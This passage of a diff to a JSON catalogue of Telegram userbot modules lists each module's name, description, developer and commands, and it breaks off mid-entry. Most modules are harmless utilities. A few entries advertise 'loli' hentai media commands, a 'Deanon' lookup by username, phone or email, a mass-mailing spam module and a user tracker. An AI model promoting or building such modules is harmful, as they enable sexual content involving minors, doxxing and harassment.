@@ -16373,283 +38890,25 @@ "Chat" ] }, - "AlpacaGang/ftg-modules/tralka.py": { - "name": "TralkaMod", - "description": "Generates pastes", + "coddrago/modules/emojidown.py": { + "name": "EmojiDownloadMod", + "description": "Download emoji from reply", "meta": { - "pic": null, - "banner": null + "pic": "https://envs.sh/Hod.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" }, "commands": [ { - "tralkacmd": ".tralka <word_count> <caps_rate (in %)> <recepient name>" + "emojidowncmd": "[reply] | Download emoji from reply" } ], "new_commands": [ { - "tralka": { + "emojidown": { "ru_doc": null, "en_doc": null, - "doc": ".tralka <word_count> <caps_rate (in %)> <recepient name>" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "1jpshiro/hikka-modules/Counter.py": { - "name": "Counter", - "description": "Inline Clicks Counter", - "meta": { - "pic": null, - "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", - "developer": "@shiro_hikka" - }, - "commands": [ - { - "cresetcmd": "[-u] [-c] - reset the counter\n-u (users list) -c (counts list)" - }, - { - "countcmd": "Creates an inline button for counting a presses" - } - ], - "new_commands": [ - { - "creset": { - "ru_doc": null, - "en_doc": null, - "doc": "[-u] [-c] - reset the counter\n-u (users list) -c (counts list)" - } - }, - { - "count": { - "ru_doc": null, - "en_doc": null, - "doc": "Creates an inline button for counting a presses" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "1jpshiro/hikka-modules/Tracker.py": { - "name": "Tracker", - "description": "Tracks the change history of usernames and nicknames of users", - "meta": { - "pic": null, - "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", - "developer": "@shiro_hikka" - }, - "commands": [ - { - "trackcmd": "Enable / Disable the tracking" - }, - { - "addtrackcmd": "<ID / Username> - add a new user to track" - }, - { - "deltrackcmd": "Remove user from the track list" - }, - { - "trackstatcmd": "View the statistic about users you're tracking" - } - ], - "new_commands": [ - { - "track": { - "ru_doc": null, - "en_doc": null, - "doc": "Enable / Disable the tracking" - } - }, - { - "addtrack": { - "ru_doc": null, - "en_doc": null, - "doc": "<ID / Username> - add a new user to track" - } - }, - { - "deltrack": { - "ru_doc": null, - "en_doc": null, - "doc": "Remove user from the track list" - } - }, - { - "trackstat": { - "ru_doc": null, - "en_doc": null, - "doc": "View the statistic about users you're tracking" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "1jpshiro/hikka-modules/Timer.py": { - "name": "Timer", - "description": "Creates fine adorned timer", - "meta": { - "pic": null, - "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", - "developer": "@shiro_hikka" - }, - "commands": [ - { - "timercmd": "[5h 5m 5s] - launch the timer" - } - ], - "new_commands": [ - { - "timer": { - "ru_doc": null, - "en_doc": null, - "doc": "[5h 5m 5s] - launch the timer" - } - } - ], - "category": [ - "Tools", - "Productivity" - ] - }, - "1jpshiro/hikka-modules/MessageEraser.py": { - "name": "MessageEraser", - "description": "Delete your messages in the current chat", - "meta": { - "pic": null, - "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", - "developer": "@shiro_hikka" - }, - "commands": [ - { - "stoppurgecmd": "Interrupt the deletion process\nUse in the chat where you've previously started deletion" - }, - { - "purgecmd": "[reply] [10s / 10m / 10h / 10d] [-all] - delete all your messages in the current chat or only ones up to the message you replied to\nPossible to do with a delay\n-all - to delete messages from each topic if this is a forum otherwise flag'll just be ignored\nExample: 10h 3d" - } - ], - "new_commands": [ - { - "stoppurge": { - "ru_doc": null, - "en_doc": null, - "doc": "Interrupt the deletion process\nUse in the chat where you've previously started deletion" - } - }, - { - "purge": { - "ru_doc": null, - "en_doc": null, - "doc": "[reply] [10s / 10m / 10h / 10d] [-all] - delete all your messages in the current chat or only ones up to the message you replied to\nPossible to do with a delay\n-all - to delete messages from each topic if this is a forum otherwise flag'll just be ignored\nExample: 10h 3d" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "1jpshiro/hikka-modules/Autotime.py": { - "name": "Autotime", - "description": "Automatic stuff for your profile", - "meta": { - "pic": null, - "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", - "developer": "@shiro_hikka" - }, - "commands": [ - { - "cfgsetcmd": "<number> - specify a timezone\nRegarding to UTC+0" - }, - { - "autonamecmd": "<text> - autotime in nickname | {time} must be placed in the text\nWrite without argument to disable" - }, - { - "autobiocmd": "<text> - autotime in bio | {time} must be placed in the text\nWrite without argument to disable" - } - ], - "new_commands": [ - { - "cfgset": { - "ru_doc": null, - "en_doc": null, - "doc": "<number> - specify a timezone\nRegarding to UTC+0" - } - }, - { - "autoname": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> - autotime in nickname | {time} must be placed in the text\nWrite without argument to disable" - } - }, - { - "autobio": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> - autotime in bio | {time} must be placed in the text\nWrite without argument to disable" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "1jpshiro/hikka-modules/PMStat.py": { - "name": "PMStat", - "description": "Defines how many messages did you and your chat partner write", - "meta": { - "pic": null, - "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", - "developer": "@shiro_hikka" - }, - "commands": [ - { - "statcmd": "[-p] [-s] - (-p - counts your chat partner messages) (-s - send result to the saved messages)" - } - ], - "new_commands": [ - { - "stat": { - "ru_doc": null, - "en_doc": null, - "doc": "[-p] [-s] - (-p - counts your chat partner messages) (-s - send result to the saved messages)" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "1jpshiro/hikka-modules/StickerStealer.py": { - "name": "StickerStealer", - "description": "Emoji / Sticker pickpocket", - "meta": { - "pic": null, - "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", - "developer": "@shiro_hikka" - }, - "commands": [ - { - "stealcmd": "<reply / quote reply> - add an emoji or sticker to your pack\nEmoji: one type of emoji only is possible to be used at time" - } - ], - "new_commands": [ - { - "steal": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply / quote reply> - add an emoji or sticker to your pack\nEmoji: one type of emoji only is possible to be used at time" + "doc": "[reply] | Download emoji from reply" } } ], @@ -16658,230 +38917,415 @@ "Games" ] }, - "KorenbZla/HikkaModules/Randomizer.py": { - "name": "RandomizerMod", - "description": "Module for playing with dice, heads/tails and other games.", + "coddrago/modules/randnum.py": { + "name": "RandomNumbersMod", + "description": "Развлекательный модуль", "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/201288f407537011ce0ed.jpg", - "developer": "@AuroraModules" + "pic": "https://envs.sh/HJ7.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" }, "commands": [ { - "cube": "[0-6] - Roll a dice with a number [0-6] - Бросить кубик с числом" - }, - { - "monetka": "[орёл/решка] - Flips a coin and gives a random result [орёл/решка] - Подбрасывает монетку, и выдает случайный результат" - }, - { - "rnum": "[number] - Random number [number] - Случайное число" + "rnumcmd": "Угадывайте рандомные числа!" } ], "new_commands": [ - { - "cube": { - "ru_doc": "[0-6] - Бросить кубик с числом", - "en_doc": null, - "doc": "[0-6] - Roll a dice with a number" - } - }, - { - "monetka": { - "ru_doc": "[орёл/решка] - Подбрасывает монетку, и выдает случайный результат", - "en_doc": null, - "doc": "[орёл/решка] - Flips a coin and gives a random result" - } - }, { "rnum": { - "ru_doc": "[number] - Случайное число", + "ru_doc": null, "en_doc": null, - "doc": "[number] - Random number" + "doc": "Угадывайте рандомные числа!" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "coddrago/modules/figlet.py": { + "name": "Figlet", + "description": "Tool for work with figlet", + "meta": { + "pic": "https://envs.sh/Hou.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" + }, + "commands": [ + { + "figletcmd": "[args] | run figlet command" + }, + { + "figlistcmd": "| see list of all fonts" + } + ], + "new_commands": [ + { + "figlet": { + "ru_doc": null, + "en_doc": null, + "doc": "[args] | run figlet command" + } + }, + { + "figlist": { + "ru_doc": null, + "en_doc": null, + "doc": "| see list of all fonts" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "coddrago/modules/promoclaimer.py": { + "name": "PromoClaimerMod", + "description": "Automatically claim https://t.me/StableWaifuBot promo from any chat", + "meta": { + "pic": "https://envs.sh/HoF.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" + }, + "commands": [ + { + "checktokens": "| check tokens balance | Посмотреть баланс токенов" + } + ], + "new_commands": [ + { + "checktokens": { + "ru_doc": "| Посмотреть баланс токенов", + "en_doc": null, + "doc": "| check tokens balance" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "coddrago/modules/modlist.py": { + "name": "ModulesList", + "description": "Модуль для быстрого доступа к каналам с модулями", + "meta": { + "pic": "https://envs.sh/HJH.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" + }, + "commands": [ + { + "modlist": "| Quick access to channels with modules | Быстрый доступ к каналам с модулями " + }, + { + "offmodlist": "| Official channel with modules | Оффициальные каналы с модулями " + }, + { + "addmchat": "[BOT API ID] | add chat" + } + ], + "new_commands": [ + { + "modlist": { + "ru_doc": " | Быстрый доступ к каналам с модулями ", + "en_doc": null, + "doc": "| Quick access to channels with modules" + } + }, + { + "offmodlist": { + "ru_doc": " | Оффициальные каналы с модулями ", + "en_doc": null, + "doc": "| Official channel with modules" + } + }, + { + "addmchat": { + "ru_doc": null, + "en_doc": null, + "doc": "[BOT API ID] | add chat" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "coddrago/modules/id.py": { + "name": "ID", + "description": "ID of all!", + "meta": { + "pic": "https://envs.sh/HJX.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" + }, + "commands": [ + { + "useridcmd": "[reply or username] | Get User ID" + }, + { + "idcmd": "| Get your ID" + }, + { + "chatidcmd": "| Get chat ID" + } + ], + "new_commands": [ + { + "userid": { + "ru_doc": null, + "en_doc": null, + "doc": "[reply or username] | Get User ID" + } + }, + { + "id": { + "ru_doc": null, + "en_doc": null, + "doc": "| Get your ID" + } + }, + { + "chatid": { + "ru_doc": null, + "en_doc": null, + "doc": "| Get chat ID" } } ], "category": [ "Tools", + "Admin" + ] + }, + "coddrago/modules/pinterest.py": { + "name": "PinterestDownloader", + "description": "Gives a link to download a file from Pinterest", + "meta": { + "pic": "https://envs.sh/HJV.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" + }, + "commands": [ + { + "pinterestcmd": "Gives a link to download" + } + ], + "new_commands": [ + { + "pinterest": { + "ru_doc": null, + "en_doc": null, + "doc": "Gives a link to download" + } + } + ], + "category": [ + "Chat", "Media" ] }, - "KorenbZla/HikkaModules/AutoDeleteMessages.py": { - "name": "AutoDeleteMessagesMod", - "description": "Automatically deletes all your messages in the specified chats.", + "coddrago/modules/compliments.py": { + "name": "Compliments", + "description": "Compliments for your partner", "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/b3e9c4bef7348c0fda21e.jpg", - "developer": "@AuroraModules" + "pic": "https://envs.sh/HJ6.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" }, "commands": [ { - "autodel": "<on/off> - set the module operation status <on/off> - установить статус работы модуля." + "cgcmd": "Compliments for girl" } ], "new_commands": [ { - "autodel": { - "ru_doc": "<on/off> - установить статус работы модуля.", - "en_doc": null, - "doc": "<on/off> - set the module operation status" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KorenbZla/HikkaModules/Wikipedia.py": { - "name": "WikipediaMod", - "description": "Search for information on Wikipedia", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/ee1bb476a643bb85b5723.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "wikiru": "[prompt] - Search for material in Wikipedia in Russian. [prompt] - Поиск материала в Википедии на русском языке." - }, - { - "wikien": "[prompt] - Search for material in Wikipedia in English. [prompt] - Поиск материала в Википедии на английском языке." - } - ], - "new_commands": [ - { - "wikiru": { - "ru_doc": "[prompt] - Поиск материала в Википедии на русском языке.", - "en_doc": null, - "doc": "[prompt] - Search for material in Wikipedia in Russian." - } - }, - { - "wikien": { - "ru_doc": "[prompt] - Поиск материала в Википедии на английском языке.", - "en_doc": null, - "doc": "[prompt] - Search for material in Wikipedia in English." - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "KorenbZla/HikkaModules/WordFinder.py": { - "name": "WordFinderMod", - "description": "Universal module for searching for certain words in the text.", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/c34c0a11aabd6a1fb6210.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "wfind": "<on/off> - set the module operation status <on/off> - установить статус работы модуля" - } - ], - "new_commands": [ - { - "wfind": { - "ru_doc": "<on/off> - установить статус работы модуля", - "en_doc": null, - "doc": "<on/off> - set the module operation status" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KorenbZla/HikkaModules/IrisFarm.py": { - "name": "IrisFarmMod", - "description": "Auto farm in iris bot", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/1d547b05f967c9681b90a.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "irfarm": "{on/off} - turn auto farm on or off" - }, - { - "bag": "Look into the bag Заглянуть в мешок." - } - ], - "new_commands": [ - { - "irfarm": { + "cg": { "ru_doc": null, "en_doc": null, - "doc": "{on/off} - turn auto farm on or off" - } - }, - { - "bag": { - "ru_doc": "Заглянуть в мешок.", - "en_doc": null, - "doc": "Look into the bag" + "doc": "Compliments for girl" } } ], "category": [ - "Chat", + "Social", + "Fun" + ] + }, + "coddrago/modules/hentai.py": { + "name": "Hentai", + "description": "Send to you random hentai media!", + "meta": { + "pic": "https://envs.sh/HJ-.webp", + "banner": "https://mods.codrago.top/banners/loli.png", + "developer": "@codrago_m" + }, + "commands": [ + { + "lolicmd": "| random loli photo" + }, + { + "femcmd": "| random femboy media" + }, + { + "sfwcmd": "| random SFW media" + }, + { + "furrycmd": "| to get random furry media" + }, + { + "nsfwcmd": "| to get random NSFW media" + } + ], + "new_commands": [ + { + "loli": { + "ru_doc": null, + "en_doc": null, + "doc": "| random loli photo" + } + }, + { + "fem": { + "ru_doc": null, + "en_doc": null, + "doc": "| random femboy media" + } + }, + { + "sfw": { + "ru_doc": null, + "en_doc": null, + "doc": "| random SFW media" + } + }, + { + "furry": { + "ru_doc": null, + "en_doc": null, + "doc": "| to get random furry media" + } + }, + { + "nsfw": { + "ru_doc": null, + "en_doc": null, + "doc": "| to get random NSFW media" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "coddrago/modules/loli.py": { + "name": "lolihentai", + "description": "Your the best friend in loli hentai", + "meta": { + "pic": "https://envs.sh/HJm.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" + }, + "commands": [ + { + "lolicmd": "-> random loli photo" + }, + { + "loliccmd": "-> to get your loli" + } + ], + "new_commands": [ + { + "loli": { + "ru_doc": null, + "en_doc": null, + "doc": "-> random loli photo" + } + }, + { + "lolic": { + "ru_doc": null, + "en_doc": null, + "doc": "-> to get your loli" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "coddrago/modules/passwordgen.py": { + "name": "PassGen", + "description": "Generate password", + "meta": { + "pic": "https://envs.sh/Hoe.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" + }, + "commands": [ + { + "passcmd": "| Generate password from utils" + }, + { + "passgcmd": "| Generate password from string" + } + ], + "new_commands": [ + { + "pass": { + "ru_doc": null, + "en_doc": null, + "doc": "| Generate password from utils" + } + }, + { + "passg": { + "ru_doc": null, + "en_doc": null, + "doc": "| Generate password from string" + } + } + ], + "category": [ + "Security", "Tools" ] }, - "KorenbZla/HikkaModules/Send.py": { - "name": "SendMod", - "description": "Assistant for sending messages", + "coddrago/modules/send.py": { + "name": "Send", + "description": "| module to send messages", "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/55fa6eebae860a359ac27.jpg", - "developer": "@AuroraModules" + "pic": "https://kappa.lol/p3wVI", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" }, "commands": [ { - "send": "[text] - Write a message [text] - Написать сообщение" + "send": "[user] [text] | Send message to user" }, { - "sendclosedtopic": "[text] - Write a message to a closed topic [text] - Написать сообщение в закрытую тему" - }, - { - "sendpm": "[@UserName] [text or replay] - Write a message to personal messages [@UserName] [text or replay] - Написать сообщение в личные сообщения" - }, - { - "ibsend": "[text] - Send a message via the inline form [text] - Отправить сообщение через инлайн-форму" + "sendsm": "[reply or text] | send message to saved messages" } ], "new_commands": [ { "send": { - "ru_doc": "[text] - Написать сообщение", + "ru_doc": null, "en_doc": null, - "doc": "[text] - Write a message" + "doc": "[user] [text] | Send message to user" } }, { - "sendclosedtopic": { - "ru_doc": "[text] - Написать сообщение в закрытую тему", + "sendsm": { + "ru_doc": null, "en_doc": null, - "doc": "[text] - Write a message to a closed topic" - } - }, - { - "sendpm": { - "ru_doc": "[@UserName] [text or replay] - Написать сообщение в личные сообщения", - "en_doc": null, - "doc": "[@UserName] [text or replay] - Write a message to personal messages" - } - }, - { - "ibsend": { - "ru_doc": "[text] - Отправить сообщение через инлайн-форму", - "en_doc": null, - "doc": "[text] - Send a message via the inline form" + "doc": "[reply or text] | send message to saved messages" } } ], @@ -16890,2338 +39334,17 @@ "Chat" ] }, - "KorenbZla/HikkaModules/RandomNumber.py": { - "name": "RandomNumberMod", - "description": "Random numbers generator", + "coddrago/modules/speedtest.py": { + "name": "SpeedTestMod", + "description": "Module to run speedtest using speedtest library", "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/f35de08579b3bd2235bc4.jpg", - "developer": "@AuroraModules" + "pic": "https://envs.sh/HoD.webp", + "banner": "https://raw.githubusercontent.com/coddrago/modules/refs/heads/main/banner.png", + "developer": "@codrago_m" }, "commands": [ { - "RandomNumber": "Random number Случайное число" - } - ], - "new_commands": [ - { - "RandomNumber": { - "ru_doc": "Случайное число", - "en_doc": null, - "doc": "Random number" - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, - "KorenbZla/HikkaModules/AuroraAFK.py": { - "name": "AuroraAFKMod", - "description": "Your personal assistant to while you are in AFK mode", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/f35de08579b3bd2235bc4.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "afk": "[reason] - Set AFK mode status [reason] - Установить режим AFK" - }, - { - "unafk": "Exit AFK mode Выйти из режима AFK" - }, - { - "setstatus": "Set the AFK status Установить статус AFK" - }, - { - "removestatus": "Удалить статус AFK. Удалить статус AFK" - } - ], - "new_commands": [ - { - "afk": { - "ru_doc": "[reason] - Установить режим AFK", - "en_doc": null, - "doc": "[reason] - Set AFK mode status" - } - }, - { - "unafk": { - "ru_doc": "Выйти из режима AFK", - "en_doc": null, - "doc": "Exit AFK mode" - } - }, - { - "setstatus": { - "ru_doc": "Установить статус AFK", - "en_doc": null, - "doc": "Set the AFK status" - } - }, - { - "removestatus": { - "ru_doc": "Удалить статус AFK", - "en_doc": null, - "doc": "Удалить статус AFK." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "KorenbZla/HikkaModules/AuroraFeedBack.py": { - "name": "AuroraFeedBackMod", - "description": "Multifunctional feedback bot.", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/05a519da50f993b950260.jpg", - "developer": "@AuroraModules & @nercymods" - }, - "commands": [ - { - "flink": "- Get a link to the feedback bot - Получить ссылку на feedback бота" - }, - { - "banfeedback": "[UserID] - Block the feedback bot user [UserID] - Заблокировать пользователю feedback бота" - }, - { - "unbanfeedback": "[UserID] - Unblock the feedback bot user [UserID] - Разблокировать пользователю feedback бота" - } - ], - "new_commands": [ - { - "flink": { - "ru_doc": "- Получить ссылку на feedback бота", - "en_doc": null, - "doc": "- Get a link to the feedback bot" - } - }, - { - "banfeedback": { - "ru_doc": "[UserID] - Заблокировать пользователю feedback бота", - "en_doc": null, - "doc": "[UserID] - Block the feedback bot user" - } - }, - { - "unbanfeedback": { - "ru_doc": "[UserID] - Разблокировать пользователю feedback бота", - "en_doc": null, - "doc": "[UserID] - Unblock the feedback bot user" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KorenbZla/HikkaModules/Melody.py": { - "name": "MelodyMod", - "description": "Module for playing various songs in a chat", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/787faf75b8a094553336f.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "заденьгида": "Play song «За деньги да» Включить песню «За деньги да»" - }, - { - "LIPSIHA": "Play song «LIPSI HA» Включить песню «LIPSI HA»" - }, - { - "stopplay": "Stop playing music Остановить проигрывание музыки" - } - ], - "new_commands": [ - { - "заденьгида": { - "ru_doc": "Включить песню «За деньги да»", - "en_doc": null, - "doc": "Play song «За деньги да»" - } - }, - { - "LIPSIHA": { - "ru_doc": "Включить песню «LIPSI HA»", - "en_doc": null, - "doc": "Play song «LIPSI HA»" - } - }, - { - "stopplay": { - "ru_doc": "Остановить проигрывание музыки", - "en_doc": null, - "doc": "Stop playing music" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KorenbZla/HikkaModules/MyDebtors.py": { - "name": "MyDebtorsMod", - "description": "Module for managing, adding, and deleting your debtors.", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/7d7a4c3ff3711e0e1ee88.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "dadd": "<name> <amount> - add a debtor <name> <amount> - Добавить должника" - }, - { - "dinfo": "<name> - Find out information about the debtor <name> - Узнать информацию о должнике" - }, - { - "ddel": "<name> - Remove the debtor <name> - Удалить должника" - }, - { - "dlist": "List of all your debtors Список всех ваших должников" - }, - { - "ddelall": "Remove all your debtors Удалить всех ваших должников" - }, - { - "dset": "<name> <amount> - Change the debt <name> <amount> - Изменить долг" - } - ], - "new_commands": [ - { - "dadd": { - "ru_doc": "<name> <amount> - Добавить должника", - "en_doc": null, - "doc": "<name> <amount> - add a debtor" - } - }, - { - "dinfo": { - "ru_doc": "<name> - Узнать информацию о должнике", - "en_doc": null, - "doc": "<name> - Find out information about the debtor" - } - }, - { - "ddel": { - "ru_doc": "<name> - Удалить должника", - "en_doc": null, - "doc": "<name> - Remove the debtor" - } - }, - { - "dlist": { - "ru_doc": "Список всех ваших должников", - "en_doc": null, - "doc": "List of all your debtors" - } - }, - { - "ddelall": { - "ru_doc": "Удалить всех ваших должников", - "en_doc": null, - "doc": "Remove all your debtors" - } - }, - { - "dset": { - "ru_doc": "<name> <amount> - Изменить долг", - "en_doc": null, - "doc": "<name> <amount> - Change the debt" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "KorenbZla/HikkaModules/AuroraSpam.py": { - "name": "AuroraSpamMod", - "description": "Module for mailings message", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/e5b219dd459e4cf8b0b11.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "aspam": "Start sending messages. Начать рассылку сообщений." - } - ], - "new_commands": [ - { - "aspam": { - "ru_doc": "Начать рассылку сообщений.", - "en_doc": null, - "doc": "Start sending messages." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KorenbZla/HikkaModules/Meow.py": { - "name": "MeowMod", - "description": "Start meowing in different languages", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/21c1c48baffc8c6236c0f.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "meow": "Start meowing in different languages Начать мяукать на разных языках" - }, - { - "stopmeow": "Stop meowing in different languages Остановить мяуканье на разных языках" - } - ], - "new_commands": [ - { - "meow": { - "ru_doc": "Начать мяукать на разных языках", - "en_doc": null, - "doc": "Start meowing in different languages" - } - }, - { - "stopmeow": { - "ru_doc": "Остановить мяуканье на разных языках", - "en_doc": null, - "doc": "Stop meowing in different languages" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KorenbZla/HikkaModules/RandomAvatars.py": { - "name": "RandomAvatars", - "description": null, - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/64b1e88536b3ba59c94da.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "rpavatars": "random paired avatars Поиск случайных парных аватарок" - } - ], - "new_commands": [ - { - "rpavatars": { - "ru_doc": "Поиск случайных парных аватарок", - "en_doc": null, - "doc": "random paired avatars" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "KorenbZla/HikkaModules/Warpigs.py": { - "name": "WarpigsMod", - "description": "Automates work with @warpigs_bot", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/a37fb86b3a00c03dee661.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "autogrow": "Automatic pig growth Автоматический рост свиньи." - }, - { - "ungrow": "Disable automatic growth. Отключить автоматический рост." - }, - { - "autofight": "Enable automatic pig fights Включить автоматические бои свиней." - }, - { - "unfight": "Disable automatic pig fights Отключить автоматические бои свиней." - }, - { - "nameset": "[name] - Set the name of your pig [name] - Установить имя вашей свиньи." - } - ], - "new_commands": [ - { - "autogrow": { - "ru_doc": "Автоматический рост свиньи.", - "en_doc": null, - "doc": "Automatic pig growth" - } - }, - { - "ungrow": { - "ru_doc": "Отключить автоматический рост.", - "en_doc": null, - "doc": "Disable automatic growth." - } - }, - { - "autofight": { - "ru_doc": "Включить автоматические бои свиней.", - "en_doc": null, - "doc": "Enable automatic pig fights" - } - }, - { - "unfight": { - "ru_doc": "Отключить автоматические бои свиней.", - "en_doc": null, - "doc": "Disable automatic pig fights" - } - }, - { - "nameset": { - "ru_doc": "[name] - Установить имя вашей свиньи.", - "en_doc": null, - "doc": "[name] - Set the name of your pig" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "KorenbZla/HikkaModules/Deanon.py": { - "name": "Deanon", - "description": null, - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/9bf5a040f3fcab0caf689.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "deanon": "Search by @UserName/Number/Email Поиск по @UserName/Number/Email" - } - ], - "new_commands": [ - { - "deanon": { - "ru_doc": "Поиск по @UserName/Number/Email", - "en_doc": null, - "doc": "Search by @UserName/Number/Email" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "KorenbZla/HikkaModules/AuroraFarm.py": { - "name": "AuroraFarmMod", - "description": "Automatic progress farm at @kynimeister_bot", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/903b12da5af31a1947ca8.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "afarm": "{on/off} - turn auto farm on or off {on/off} - включить или выключить автоматическую фарминг" - } - ], - "new_commands": [ - { - "afarm": { - "ru_doc": "{on/off} - включить или выключить автоматическую фарминг", - "en_doc": null, - "doc": "{on/off} - turn auto farm on or off" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "KorenbZla/HikkaModules/Reports.py": { - "name": "ReportsMod", - "description": "Module for sending reports to the administration.", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": "https://te.legra.ph/file/5131a980bd2f80ad463ad.jpg", - "developer": "@AuroraModules" - }, - "commands": [ - { - "addadmins": "Add administrators from the config to the group Добавить администраторов из конфигурации в группу." - }, - { - "chaton": "Enable chat for reports Включает чат для репортов." - }, - { - "chatoff": "Disable chat for reports Отключает чат для репортов." - }, - { - "report": "Sends a report to the administration. Отправляет репорт администрации." - } - ], - "new_commands": [ - { - "addadmins": { - "ru_doc": "Добавить администраторов из конфигурации в группу.", - "en_doc": null, - "doc": "Add administrators from the config to the group" - } - }, - { - "chaton": { - "ru_doc": "Включает чат для репортов.", - "en_doc": null, - "doc": "Enable chat for reports" - } - }, - { - "chatoff": { - "ru_doc": "Отключает чат для репортов.", - "en_doc": null, - "doc": "Disable chat for reports" - } - }, - { - "report": { - "ru_doc": "Отправляет репорт администрации.", - "en_doc": null, - "doc": "Sends a report to the administration." - } - } - ], - "category": [ - "Chat", - "Automation" - ] - }, - "KorenbZla/HikkaModules/AuroraDonate.py": { - "name": "AuroraDonateMod", - "description": "Module for creating a message with your details for donations", - "meta": { - "pic": "https://i.postimg.cc/Hx3Zm8rB/logo.png", - "banner": 